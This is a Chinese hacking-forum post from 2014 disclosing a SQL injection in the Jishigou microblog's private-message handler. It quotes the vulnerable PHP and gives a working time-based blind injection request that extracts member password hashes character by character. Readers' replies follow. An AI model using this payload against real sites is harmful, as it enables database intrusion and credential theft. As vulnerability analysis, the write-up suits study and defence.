查看: 14839|回复: 6

[年终征文] 记事狗微博注入

[复制链接]
发表于 2014-1-27 23:17:34 | 显示全部楼层 |阅读模式
本帖最后由 ilx 于 2014-1-27 23:21 编辑


##########################################
#  Title    : 记事狗微博注入
#  Time   :2014年1月27日
#  Team  :08sec team
#  Author : il
#  首发   : 08安全小组
#######################################   

测试版本: 20140124

1.分析:

文件名:pm.mod.php

[PHP] 纯文本查看 复制代码
		
            ..........以上省略 ..........
                load::logic('pm');
		$PmLogic = new PmLogic();
		$pmid = $this->Post['pmid'];     
		if($che = $this->Post['che']){
			$this->Post['to_user'] = implode(",",$che);  //发送的账号名
		}
		$this->Post['message'] = jpost('message', 'txt'); //内容
		if($pmid > 0){
			$return = $PmLogic->pmSendAgain($this->Post);  
		}else{
			$return = $PmLogic->pmSend($this->Post);      //不设置pmid值的话进到pmSend函数里 我们进去看看
		} 
               ..........以下省略 ..........

//master.mod.php
                $this->Get     =  &$_GET;
                $this->Post    =  &$_POST;
--------------------------------------------------
文件名:pm.logic.php



[PHP] 纯文本查看 复制代码
	
              ..........以上省略 ..........
           $to_user_list=array();

              . .........中间省略 ..........

foreach($to_user_list as $to_user_id => $to_user_name)
		{
			$data = array(
			"msgfrom"	 =>$susername,
			"msgnickname"=>$snickname,
			"msgfromid"  =>$suid,  								"msgto" => $to_user_name['username'],					"tonickname" => $to_user_name['nickname'],				"msgtoid"   => $to_user_id,								'imageids' => $post['imageids'],
			'attachids' => $post['attachids'],  //
			"subject"   => $post['subject'],                 post的值是由pm.mod.php传过来的 我们继续往下看
			"message"   => $post['message'],  /
			"new"=>'1',
			"dateline"=>$time,
			);

                     . .........中间省略 ..........

                #标记音乐和附件,使清缓存的时候不会把附件删除
		if($data['imageids']){
			DB::query("update `".TABLE_PREFIX."topic_image` set `tid` = -1 where `id` in ({$data['imageids']})"); //没有使用单引号 ,也没过滤变量直接入口了 
		}
		if($data['attachids']){
			DB::query("update `".TABLE_PREFIX."topic_attach` set `tid` = -1 where `id` in ({$data['attachids']})"); //没有使用单引号 ,也没过滤变量直接入库了 
		}
                 


             由于程序如果执行报错的话 就会被记录在文件里 所以只好盲注入了

2.利用   :            
               需要登录的情况下
                 ajax.php?mod=pm&code=do_add
                 POST提交
                  to_user=admin&message=eeeeeeeeeeeeeeeeeeeeee&save_to_outbox=0&imageids=1&attachids=SELECT IF(ASCII(MID(PASSWORD,1 ,1)) = 48, NULL, SLEEP(1)) FROM jishigou_members
           
                 执行的sql语句:

                update `jishigou_topic_attach` set `tid` = -1 where `id` in (SELECT IF(ASCII(MID(PASSWORD,1 ,1)) = 48, NULL, SLEEP(1)) FROM jishigou_members)

               
                  1.jpg

                  2.jpg


(ps :attach.logic.php
                    $ids = $this->get_ids($ids, 0, 1);
                 这句如果能绕过就能2次注射下啊...
                  1w.jpg

评分

参与人数 1i币 +16 贡献 +2 收起 理由
90_ + 16 + 2 支持原创

查看全部评分

回复

使用道具 举报

发表于 2014-1-27 23:21:50 | 显示全部楼层
草 你终于写完了
回复 支持 反对

使用道具 举报

发表于 2014-1-27 23:24:42 | 显示全部楼层
好牛逼。 赞一个。~
回复 支持 反对

使用道具 举报

发表于 2014-1-28 01:29:14 | 显示全部楼层
Ts
基友们都知道了。 赞一个。~
回复 支持 反对

使用道具 举报

发表于 2014-1-28 11:31:48 | 显示全部楼层
不错,支持个。。
回复 支持 反对

使用道具 举报

发表于 2014-1-28 11:32:23 | 显示全部楼层
学PHP有段时间了,希望楼主还有挖掘漏洞的源码能借鉴一下。
回复 支持 反对

使用道具 举报

发表于 2014-1-29 14:34:53 | 显示全部楼层
没看明白。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-7 04:18 , Processed in 0.027276 second(s), 17 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部